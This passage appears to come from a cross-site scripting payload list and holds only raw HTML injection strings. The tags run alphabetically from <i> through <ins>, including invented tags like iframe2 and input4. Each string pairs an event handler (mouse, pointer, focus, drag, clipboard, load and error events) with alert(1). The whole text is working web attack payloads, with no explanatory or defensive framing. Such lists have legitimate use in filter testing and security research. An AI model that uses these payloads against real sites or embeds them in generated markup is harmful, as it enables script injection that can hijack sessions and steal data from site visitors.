<i onmouseout="alert(1)" style=display:block>test</i>
<i onmouseover="alert(1)" style=display:block>test</i>
<i onmouseup="alert(1)" style=display:block>test</i>
<i onmousewheel=alert(1) style=display:block>requires scrolling
<i onpaste="alert(1)" contenteditable>test</i>
<i onpointerdown=alert(1) style=display:block>XSS</i>
<i onpointerenter=alert(1) style=display:block>XSS</i>
<i onpointerleave=alert(1) style=display:block>XSS</i>
<i onpointermove=alert(1) style=display:block>XSS</i>
<i onpointerout=alert(1) style=display:block>XSS</i>
<i onpointerover=alert(1) style=display:block>XSS</i>
<i onpointerrawupdate=alert(1) style=display:block>XSS</i>
<i onpointerup=alert(1) style=display:block>XSS</i>
<i onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></i>
<iframe autofocus onfocus=alert(1)>
<iframe autofocus onfocusin=alert(1)>
<iframe contenteditable onbeforeinput=alert(1)>test
<iframe draggable="true" ondrag="alert(1)" style=display:block>test</iframe>
<iframe draggable="true" ondragend="alert(1)" style=display:block>test</iframe>
<iframe draggable="true" ondragenter="alert(1)" style=display:block>test</iframe>
<iframe draggable="true" ondragleave="alert(1)" style=display:block>test</iframe>
<iframe draggable="true" ondragstart="alert(1)" style=display:block>test</iframe>
<iframe id=x onfocus=alert(1)>
<iframe id=x onfocusin=alert(1)>
<iframe id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></iframe>
<iframe onafterscriptexecute=alert(1)><script>1</script>
<iframe onbeforecopy="alert(1)" contenteditable>test</iframe>
<iframe onbeforecut="alert(1)" contenteditable>test</iframe>
<iframe onbeforescriptexecute=alert(1)><script>1</script>
<iframe onblur=alert(1) id=x tabindex=1 style=display:block>test</iframe><input value=clickme>
<iframe onclick="alert(1)" style=display:block>test</iframe>
<iframe oncontextmenu="alert(1)" style=display:block>test</iframe>
<iframe oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<iframe oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<iframe ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</iframe>
<iframe onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</iframe><input value=clickme>
<iframe onkeydown="alert(1)" contenteditable style=display:block>test</iframe>
<iframe onkeypress="alert(1)" contenteditable style=display:block>test</iframe>
<iframe onkeyup="alert(1)" contenteditable style=display:block>test</iframe>
<iframe onload=alert(1)></iframe>
<iframe onmousedown="alert(1)" style=display:block>test</iframe>
<iframe onmouseenter="alert(1)" style=display:block>test</iframe>
<iframe onmouseleave="alert(1)" style=display:block>test</iframe>
<iframe onmousemove="alert(1)" style=display:block>test</iframe>
<iframe onmouseout="alert(1)" style=display:block>test</iframe>
<iframe onmouseover="alert(1)" style=display:block>test</iframe>
<iframe onmouseup="alert(1)" style=display:block>test</iframe>
<iframe onmousewheel=alert(1) style=display:block>requires scrolling
<iframe onpaste="alert(1)" contenteditable>test</iframe>
<iframe onpointerdown=alert(1) style=display:block>XSS</iframe>
<iframe onpointerenter=alert(1) style=display:block>XSS</iframe>
<iframe onpointerleave=alert(1) style=display:block>XSS</iframe>
<iframe onpointermove=alert(1) style=display:block>XSS</iframe>
<iframe onpointerout=alert(1) style=display:block>XSS</iframe>
<iframe onpointerover=alert(1) style=display:block>XSS</iframe>
<iframe onpointerrawupdate=alert(1) style=display:block>XSS</iframe>
<iframe onpointerup=alert(1) style=display:block>XSS</iframe>
<iframe onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></iframe>
<iframe2 contenteditable onbeforeinput=alert(1)>test
<iframe2 draggable="true" ondrag="alert(1)" style=display:block>test</iframe2>
<iframe2 draggable="true" ondragend="alert(1)" style=display:block>test</iframe2>
<iframe2 draggable="true" ondragenter="alert(1)" style=display:block>test</iframe2>
<iframe2 draggable="true" ondragleave="alert(1)" style=display:block>test</iframe2>
<iframe2 draggable="true" ondragstart="alert(1)" style=display:block>test</iframe2>
<iframe2 id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></iframe2>
<iframe2 onafterscriptexecute=alert(1)><script>1</script>
<iframe2 onbeforescriptexecute=alert(1)><script>1</script>
<iframe2 onblur=alert(1) id=x tabindex=1 style=display:block>test</iframe2><input value=clickme>
<iframe2 onclick="alert(1)" style=display:block>test</iframe2>
<iframe2 oncontextmenu="alert(1)" style=display:block>test</iframe2>
<iframe2 oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<iframe2 oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<iframe2 ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</iframe2>
<iframe2 onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</iframe2><input value=clickme>
<iframe2 onkeydown="alert(1)" contenteditable style=display:block>test</iframe2>
<iframe2 onkeypress="alert(1)" contenteditable style=display:block>test</iframe2>
<iframe2 onkeyup="alert(1)" contenteditable style=display:block>test</iframe2>
<iframe2 onmousedown="alert(1)" style=display:block>test</iframe2>
<iframe2 onmouseenter="alert(1)" style=display:block>test</iframe2>
<iframe2 onmouseleave="alert(1)" style=display:block>test</iframe2>
<iframe2 onmousemove="alert(1)" style=display:block>test</iframe2>
<iframe2 onmouseout="alert(1)" style=display:block>test</iframe2>
<iframe2 onmouseover="alert(1)" style=display:block>test</iframe2>
<iframe2 onmouseup="alert(1)" style=display:block>test</iframe2>
<iframe2 onmousewheel=alert(1) style=display:block>requires scrolling
<iframe2 onpointerdown=alert(1) style=display:block>XSS</iframe2>
<iframe2 onpointerenter=alert(1) style=display:block>XSS</iframe2>
<iframe2 onpointerleave=alert(1) style=display:block>XSS</iframe2>
<iframe2 onpointermove=alert(1) style=display:block>XSS</iframe2>
<iframe2 onpointerout=alert(1) style=display:block>XSS</iframe2>
<iframe2 onpointerover=alert(1) style=display:block>XSS</iframe2>
<iframe2 onpointerrawupdate=alert(1) style=display:block>XSS</iframe2>
<iframe2 onpointerup=alert(1) style=display:block>XSS</iframe2>
<iframe2 onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></iframe2>
<image contenteditable onbeforeinput=alert(1)>test
<image draggable="true" ondrag="alert(1)" style=display:block>test</image>
<image draggable="true" ondragend="alert(1)" style=display:block>test</image>
<image draggable="true" ondragenter="alert(1)" style=display:block>test</image>
<image draggable="true" ondragleave="alert(1)" style=display:block>test</image>
<image draggable="true" ondragstart="alert(1)" style=display:block>test</image>
<image id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></image>
<image id=x tabindex=1 onfocus=alert(1)></image>
<image id=x tabindex=1 onfocusin=alert(1)></image>
<image onafterscriptexecute=alert(1)><script>1</script>
<image onbeforecopy="alert(1)" contenteditable>test</image>
<image onbeforecut="alert(1)" contenteditable>test</image>
<image onbeforescriptexecute=alert(1)><script>1</script>
<image onblur=alert(1) id=x tabindex=1 style=display:block>test</image><input value=clickme>
<image onclick="alert(1)" style=display:block>test</image>
<image oncontextmenu="alert(1)" style=display:block>test</image>
<image oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<image oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<image ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</image>
<image onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</image><input value=clickme>
<image onkeydown="alert(1)" contenteditable style=display:block>test</image>
<image onkeypress="alert(1)" contenteditable style=display:block>test</image>
<image onkeyup="alert(1)" contenteditable style=display:block>test</image>
<image onmousedown="alert(1)" style=display:block>test</image>
<image onmouseenter="alert(1)" style=display:block>test</image>
<image onmouseleave="alert(1)" style=display:block>test</image>
<image onmousemove="alert(1)" style=display:block>test</image>
<image onmouseout="alert(1)" style=display:block>test</image>
<image onmouseover="alert(1)" style=display:block>test</image>
<image onmouseup="alert(1)" style=display:block>test</image>
<image onmousewheel=alert(1) style=display:block>requires scrolling
<image onpaste="alert(1)" contenteditable>test</image>
<image onpointerdown=alert(1) style=display:block>XSS</image>
<image onpointerenter=alert(1) style=display:block>XSS</image>
<image onpointerleave=alert(1) style=display:block>XSS</image>
<image onpointermove=alert(1) style=display:block>XSS</image>
<image onpointerout=alert(1) style=display:block>XSS</image>
<image onpointerover=alert(1) style=display:block>XSS</image>
<image onpointerrawupdate=alert(1) style=display:block>XSS</image>
<image onpointerup=alert(1) style=display:block>XSS</image>
<image onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></image>
<image src/onerror=alert(1)>
<image src=validimage.png onload=alert(1)>
<image srcset=1 onerror=alert(1)>
<image2 contenteditable onbeforeinput=alert(1)>test
<image2 draggable="true" ondrag="alert(1)" style=display:block>test</image2>
<image2 draggable="true" ondragend="alert(1)" style=display:block>test</image2>
<image2 draggable="true" ondragenter="alert(1)" style=display:block>test</image2>
<image2 draggable="true" ondragleave="alert(1)" style=display:block>test</image2>
<image2 draggable="true" ondragstart="alert(1)" style=display:block>test</image2>
<image2 id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></image2>
<image2 onafterscriptexecute=alert(1)><script>1</script>
<image2 onbeforescriptexecute=alert(1)><script>1</script>
<image2 onblur=alert(1) id=x tabindex=1 style=display:block>test</image2><input value=clickme>
<image2 onclick="alert(1)" style=display:block>test</image2>
<image2 oncontextmenu="alert(1)" style=display:block>test</image2>
<image2 oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<image2 oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<image2 ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</image2>
<image2 onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</image2><input value=clickme>
<image2 onkeydown="alert(1)" contenteditable style=display:block>test</image2>
<image2 onkeypress="alert(1)" contenteditable style=display:block>test</image2>
<image2 onkeyup="alert(1)" contenteditable style=display:block>test</image2>
<image2 onmousedown="alert(1)" style=display:block>test</image2>
<image2 onmouseenter="alert(1)" style=display:block>test</image2>
<image2 onmouseleave="alert(1)" style=display:block>test</image2>
<image2 onmousemove="alert(1)" style=display:block>test</image2>
<image2 onmouseout="alert(1)" style=display:block>test</image2>
<image2 onmouseover="alert(1)" style=display:block>test</image2>
<image2 onmouseup="alert(1)" style=display:block>test</image2>
<image2 onmousewheel=alert(1) style=display:block>requires scrolling
<image2 onpointerdown=alert(1) style=display:block>XSS</image2>
<image2 onpointerenter=alert(1) style=display:block>XSS</image2>
<image2 onpointerleave=alert(1) style=display:block>XSS</image2>
<image2 onpointermove=alert(1) style=display:block>XSS</image2>
<image2 onpointerout=alert(1) style=display:block>XSS</image2>
<image2 onpointerover=alert(1) style=display:block>XSS</image2>
<image2 onpointerrawupdate=alert(1) style=display:block>XSS</image2>
<image2 onpointerup=alert(1) style=display:block>XSS</image2>
<image2 onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></image2>
<image3 contenteditable onbeforeinput=alert(1)>test
<image3 draggable="true" ondrag="alert(1)" style=display:block>test</image3>
<image3 draggable="true" ondragend="alert(1)" style=display:block>test</image3>
<image3 draggable="true" ondragenter="alert(1)" style=display:block>test</image3>
<image3 draggable="true" ondragleave="alert(1)" style=display:block>test</image3>
<image3 draggable="true" ondragstart="alert(1)" style=display:block>test</image3>
<image3 id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></image3>
<image3 onafterscriptexecute=alert(1)><script>1</script>
<image3 onbeforescriptexecute=alert(1)><script>1</script>
<image3 onblur=alert(1) id=x tabindex=1 style=display:block>test</image3><input value=clickme>
<image3 onclick="alert(1)" style=display:block>test</image3>
<image3 oncontextmenu="alert(1)" style=display:block>test</image3>
<image3 oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<image3 oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<image3 ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</image3>
<image3 onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</image3><input value=clickme>
<image3 onkeydown="alert(1)" contenteditable style=display:block>test</image3>
<image3 onkeypress="alert(1)" contenteditable style=display:block>test</image3>
<image3 onkeyup="alert(1)" contenteditable style=display:block>test</image3>
<image3 onmousedown="alert(1)" style=display:block>test</image3>
<image3 onmouseenter="alert(1)" style=display:block>test</image3>
<image3 onmouseleave="alert(1)" style=display:block>test</image3>
<image3 onmousemove="alert(1)" style=display:block>test</image3>
<image3 onmouseout="alert(1)" style=display:block>test</image3>
<image3 onmouseover="alert(1)" style=display:block>test</image3>
<image3 onmouseup="alert(1)" style=display:block>test</image3>
<image3 onmousewheel=alert(1) style=display:block>requires scrolling
<image3 onpointerdown=alert(1) style=display:block>XSS</image3>
<image3 onpointerenter=alert(1) style=display:block>XSS</image3>
<image3 onpointerleave=alert(1) style=display:block>XSS</image3>
<image3 onpointermove=alert(1) style=display:block>XSS</image3>
<image3 onpointerout=alert(1) style=display:block>XSS</image3>
<image3 onpointerover=alert(1) style=display:block>XSS</image3>
<image3 onpointerrawupdate=alert(1) style=display:block>XSS</image3>
<image3 onpointerup=alert(1) style=display:block>XSS</image3>
<image3 onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></image3>
<img contenteditable onbeforeinput=alert(1)>test
<img draggable="true" ondrag="alert(1)" style=display:block>test</img>
<img draggable="true" ondragend="alert(1)" style=display:block>test</img>
<img draggable="true" ondragenter="alert(1)" style=display:block>test</img>
<img draggable="true" ondragleave="alert(1)" style=display:block>test</img>
<img draggable="true" ondragstart="alert(1)" style=display:block>test</img>
<img id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></img>
<img id=x tabindex=1 onfocus=alert(1)></img>
<img id=x tabindex=1 onfocusin=alert(1)></img>
<img onafterscriptexecute=alert(1)><script>1</script>
<img onbeforecopy="alert(1)" contenteditable>test</img>
<img onbeforecut="alert(1)" contenteditable>test</img>
<img onbeforescriptexecute=alert(1)><script>1</script>
<img onblur=alert(1) id=x tabindex=1 style=display:block>test</img><input value=clickme>
<img onclick="alert(1)" style=display:block>test</img>
<img oncontextmenu="alert(1)" style=display:block>test</img>
<img oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<img oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<img ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</img>
<img onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</img><input value=clickme>
<img onkeydown="alert(1)" contenteditable style=display:block>test</img>
<img onkeypress="alert(1)" contenteditable style=display:block>test</img>
<img onkeyup="alert(1)" contenteditable style=display:block>test</img>
<img onmousedown="alert(1)" style=display:block>test</img>
<img onmouseenter="alert(1)" style=display:block>test</img>
<img onmouseleave="alert(1)" style=display:block>test</img>
<img onmousemove="alert(1)" style=display:block>test</img>
<img onmouseout="alert(1)" style=display:block>test</img>
<img onmouseover="alert(1)" style=display:block>test</img>
<img onmouseup="alert(1)" style=display:block>test</img>
<img onmousewheel=alert(1) style=display:block>requires scrolling
<img onpaste="alert(1)" contenteditable>test</img>
<img onpointerdown=alert(1) style=display:block>XSS</img>
<img onpointerenter=alert(1) style=display:block>XSS</img>
<img onpointerleave=alert(1) style=display:block>XSS</img>
<img onpointermove=alert(1) style=display:block>XSS</img>
<img onpointerout=alert(1) style=display:block>XSS</img>
<img onpointerover=alert(1) style=display:block>XSS</img>
<img onpointerrawupdate=alert(1) style=display:block>XSS</img>
<img onpointerup=alert(1) style=display:block>XSS</img>
<img onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></img>
<img src/onerror=alert(1)>
<img src=validimage.png onload=alert(1)>
<img srcset=1 onerror=alert(1)>
<img srcset=validimage.png onload=alert(1)>
<img usemap=#x><map name="x"><area href onfocus=alert(1) id=x>
<img usemap=#x><map name="x"><area href onfocusin=alert(1) id=x>
<img2 contenteditable onbeforeinput=alert(1)>test
<img2 draggable="true" ondrag="alert(1)" style=display:block>test</img2>
<img2 draggable="true" ondragend="alert(1)" style=display:block>test</img2>
<img2 draggable="true" ondragenter="alert(1)" style=display:block>test</img2>
<img2 draggable="true" ondragleave="alert(1)" style=display:block>test</img2>
<img2 draggable="true" ondragstart="alert(1)" style=display:block>test</img2>
<img2 id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></img2>
<img2 onafterscriptexecute=alert(1)><script>1</script>
<img2 onbeforescriptexecute=alert(1)><script>1</script>
<img2 onblur=alert(1) id=x tabindex=1 style=display:block>test</img2><input value=clickme>
<img2 onclick="alert(1)" style=display:block>test</img2>
<img2 oncontextmenu="alert(1)" style=display:block>test</img2>
<img2 oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<img2 oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<img2 ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</img2>
<img2 onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</img2><input value=clickme>
<img2 onkeydown="alert(1)" contenteditable style=display:block>test</img2>
<img2 onkeypress="alert(1)" contenteditable style=display:block>test</img2>
<img2 onkeyup="alert(1)" contenteditable style=display:block>test</img2>
<img2 onmousedown="alert(1)" style=display:block>test</img2>
<img2 onmouseenter="alert(1)" style=display:block>test</img2>
<img2 onmouseleave="alert(1)" style=display:block>test</img2>
<img2 onmousemove="alert(1)" style=display:block>test</img2>
<img2 onmouseout="alert(1)" style=display:block>test</img2>
<img2 onmouseover="alert(1)" style=display:block>test</img2>
<img2 onmouseup="alert(1)" style=display:block>test</img2>
<img2 onmousewheel=alert(1) style=display:block>requires scrolling
<img2 onpointerdown=alert(1) style=display:block>XSS</img2>
<img2 onpointerenter=alert(1) style=display:block>XSS</img2>
<img2 onpointerleave=alert(1) style=display:block>XSS</img2>
<img2 onpointermove=alert(1) style=display:block>XSS</img2>
<img2 onpointerout=alert(1) style=display:block>XSS</img2>
<img2 onpointerover=alert(1) style=display:block>XSS</img2>
<img2 onpointerrawupdate=alert(1) style=display:block>XSS</img2>
<img2 onpointerup=alert(1) style=display:block>XSS</img2>
<img2 onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></img2>
<input autofocus onfocus=alert(1)>
<input autofocus onfocusin=alert(1)>
<input contenteditable onbeforeinput=alert(1)>test
<input draggable="true" ondrag="alert(1)" style=display:block>test</input>
<input draggable="true" ondragend="alert(1)" style=display:block>test</input>
<input draggable="true" ondragenter="alert(1)" style=display:block>test</input>
<input draggable="true" ondragleave="alert(1)" style=display:block>test</input>
<input draggable="true" ondragstart="alert(1)" style=display:block>test</input>
<input id=x onfocus=alert(1)>
<input id=x onfocusin=alert(1)>
<input id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></input>
<input onafterscriptexecute=alert(1)><script>1</script>
<input onauxclick=alert(1)>
<input onbeforecopy=alert(1) value="XSS" autofocus>
<input onbeforecut=alert(1) value="XSS" autofocus>
<input onbeforescriptexecute=alert(1)><script>1</script>
<input onblur=alert(1) id=x tabindex=1 style=display:block>test</input><input value=clickme>
<input onchange=alert(1) value=xss>
<input onclick="alert(1)" style=display:block>test</input>
<input oncontextmenu="alert(1)" style=display:block>test</input>
<input oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<input oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<input ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</input>
<input onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</input><input value=clickme>
<input oninput=alert(1) value=xss>
<input onkeydown="alert(1)" contenteditable style=display:block>test</input>
<input onkeypress="alert(1)" contenteditable style=display:block>test</input>
<input onkeyup="alert(1)" contenteditable style=display:block>test</input>
<input onmousedown="alert(1)" style=display:block>test</input>
<input onmouseenter="alert(1)" style=display:block>test</input>
<input onmouseleave="alert(1)" style=display:block>test</input>
<input onmousemove="alert(1)" style=display:block>test</input>
<input onmouseout="alert(1)" style=display:block>test</input>
<input onmouseover="alert(1)" style=display:block>test</input>
<input onmouseup="alert(1)" style=display:block>test</input>
<input onmousewheel=alert(1) style=display:block>requires scrolling
<input onpaste=alert(1) value="" autofocus>
<input onpointerdown=alert(1) style=display:block>XSS</input>
<input onpointerenter=alert(1) style=display:block>XSS</input>
<input onpointerleave=alert(1) style=display:block>XSS</input>
<input onpointermove=alert(1) style=display:block>XSS</input>
<input onpointerout=alert(1) style=display:block>XSS</input>
<input onpointerover=alert(1) style=display:block>XSS</input>
<input onpointerrawupdate=alert(1) style=display:block>XSS</input>
<input onpointerup=alert(1) style=display:block>XSS</input>
<input onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></input>
<input onselect=alert(1) value="XSS" autofocus>
<input type=checkbox id=x onfocus=alert(1)>
<input type=checkbox id=x onfocusin=alert(1)>
<input type=image src=1 onerror=alert(1)>
<input type=image src=validimage.png onload=alert(1)>
<input type=radio id=x onfocus=alert(1)>
<input type=radio id=x onfocusin=alert(1)>
<input2 contenteditable onbeforeinput=alert(1)>test
<input2 draggable="true" ondrag="alert(1)" style=display:block>test</input2>
<input2 draggable="true" ondragend="alert(1)" style=display:block>test</input2>
<input2 draggable="true" ondragenter="alert(1)" style=display:block>test</input2>
<input2 draggable="true" ondragleave="alert(1)" style=display:block>test</input2>
<input2 draggable="true" ondragstart="alert(1)" style=display:block>test</input2>
<input2 id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></input2>
<input2 onafterscriptexecute=alert(1)><script>1</script>
<input2 onbeforescriptexecute=alert(1)><script>1</script>
<input2 onblur=alert(1) id=x tabindex=1 style=display:block>test</input2><input value=clickme>
<input2 onclick="alert(1)" style=display:block>test</input2>
<input2 oncontextmenu="alert(1)" style=display:block>test</input2>
<input2 oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<input2 oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<input2 ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</input2>
<input2 onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</input2><input value=clickme>
<input2 onkeydown="alert(1)" contenteditable style=display:block>test</input2>
<input2 onkeypress="alert(1)" contenteditable style=display:block>test</input2>
<input2 onkeyup="alert(1)" contenteditable style=display:block>test</input2>
<input2 onmousedown="alert(1)" style=display:block>test</input2>
<input2 onmouseenter="alert(1)" style=display:block>test</input2>
<input2 onmouseleave="alert(1)" style=display:block>test</input2>
<input2 onmousemove="alert(1)" style=display:block>test</input2>
<input2 onmouseout="alert(1)" style=display:block>test</input2>
<input2 onmouseover="alert(1)" style=display:block>test</input2>
<input2 onmouseup="alert(1)" style=display:block>test</input2>
<input2 onmousewheel=alert(1) style=display:block>requires scrolling
<input2 onpointerdown=alert(1) style=display:block>XSS</input2>
<input2 onpointerenter=alert(1) style=display:block>XSS</input2>
<input2 onpointerleave=alert(1) style=display:block>XSS</input2>
<input2 onpointermove=alert(1) style=display:block>XSS</input2>
<input2 onpointerout=alert(1) style=display:block>XSS</input2>
<input2 onpointerover=alert(1) style=display:block>XSS</input2>
<input2 onpointerrawupdate=alert(1) style=display:block>XSS</input2>
<input2 onpointerup=alert(1) style=display:block>XSS</input2>
<input2 onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></input2>
<input3 contenteditable onbeforeinput=alert(1)>test
<input3 draggable="true" ondrag="alert(1)" style=display:block>test</input3>
<input3 draggable="true" ondragend="alert(1)" style=display:block>test</input3>
<input3 draggable="true" ondragenter="alert(1)" style=display:block>test</input3>
<input3 draggable="true" ondragleave="alert(1)" style=display:block>test</input3>
<input3 draggable="true" ondragstart="alert(1)" style=display:block>test</input3>
<input3 id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></input3>
<input3 onafterscriptexecute=alert(1)><script>1</script>
<input3 onbeforescriptexecute=alert(1)><script>1</script>
<input3 onblur=alert(1) id=x tabindex=1 style=display:block>test</input3><input value=clickme>
<input3 onclick="alert(1)" style=display:block>test</input3>
<input3 oncontextmenu="alert(1)" style=display:block>test</input3>
<input3 oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<input3 oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<input3 ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</input3>
<input3 onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</input3><input value=clickme>
<input3 onkeydown="alert(1)" contenteditable style=display:block>test</input3>
<input3 onkeypress="alert(1)" contenteditable style=display:block>test</input3>
<input3 onkeyup="alert(1)" contenteditable style=display:block>test</input3>
<input3 onmousedown="alert(1)" style=display:block>test</input3>
<input3 onmouseenter="alert(1)" style=display:block>test</input3>
<input3 onmouseleave="alert(1)" style=display:block>test</input3>
<input3 onmousemove="alert(1)" style=display:block>test</input3>
<input3 onmouseout="alert(1)" style=display:block>test</input3>
<input3 onmouseover="alert(1)" style=display:block>test</input3>
<input3 onmouseup="alert(1)" style=display:block>test</input3>
<input3 onmousewheel=alert(1) style=display:block>requires scrolling
<input3 onpointerdown=alert(1) style=display:block>XSS</input3>
<input3 onpointerenter=alert(1) style=display:block>XSS</input3>
<input3 onpointerleave=alert(1) style=display:block>XSS</input3>
<input3 onpointermove=alert(1) style=display:block>XSS</input3>
<input3 onpointerout=alert(1) style=display:block>XSS</input3>
<input3 onpointerover=alert(1) style=display:block>XSS</input3>
<input3 onpointerrawupdate=alert(1) style=display:block>XSS</input3>
<input3 onpointerup=alert(1) style=display:block>XSS</input3>
<input3 onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></input3>
<input4 contenteditable onbeforeinput=alert(1)>test
<input4 draggable="true" ondrag="alert(1)" style=display:block>test</input4>
<input4 draggable="true" ondragend="alert(1)" style=display:block>test</input4>
<input4 draggable="true" ondragenter="alert(1)" style=display:block>test</input4>
<input4 draggable="true" ondragleave="alert(1)" style=display:block>test</input4>
<input4 draggable="true" ondragstart="alert(1)" style=display:block>test</input4>
<input4 id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></input4>
<input4 onafterscriptexecute=alert(1)><script>1</script>
<input4 onbeforescriptexecute=alert(1)><script>1</script>
<input4 onblur=alert(1) id=x tabindex=1 style=display:block>test</input4><input value=clickme>
<input4 onclick="alert(1)" style=display:block>test</input4>
<input4 oncontextmenu="alert(1)" style=display:block>test</input4>
<input4 oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<input4 oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
<input4 ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</input4>
<input4 onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</input4><input value=clickme>
<input4 onkeydown="alert(1)" contenteditable style=display:block>test</input4>
<input4 onkeypress="alert(1)" contenteditable style=display:block>test</input4>
<input4 onkeyup="alert(1)" contenteditable style=display:block>test</input4>
<input4 onmousedown="alert(1)" style=display:block>test</input4>
<input4 onmouseenter="alert(1)" style=display:block>test</input4>
<input4 onmouseleave="alert(1)" style=display:block>test</input4>
<input4 onmousemove="alert(1)" style=display:block>test</input4>
<input4 onmouseout="alert(1)" style=display:block>test</input4>
<input4 onmouseover="alert(1)" style=display:block>test</input4>
<input4 onmouseup="alert(1)" style=display:block>test</input4>
<input4 onmousewheel=alert(1) style=display:block>requires scrolling
<input4 onpointerdown=alert(1) style=display:block>XSS</input4>
<input4 onpointerenter=alert(1) style=display:block>XSS</input4>
<input4 onpointerleave=alert(1) style=display:block>XSS</input4>
<input4 onpointermove=alert(1) style=display:block>XSS</input4>
<input4 onpointerout=alert(1) style=display:block>XSS</input4>
<input4 onpointerover=alert(1) style=display:block>XSS</input4>
<input4 onpointerrawupdate=alert(1) style=display:block>XSS</input4>
<input4 onpointerup=alert(1) style=display:block>XSS</input4>
<input4 onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></input4>
<ins contenteditable onbeforeinput=alert(1)>test
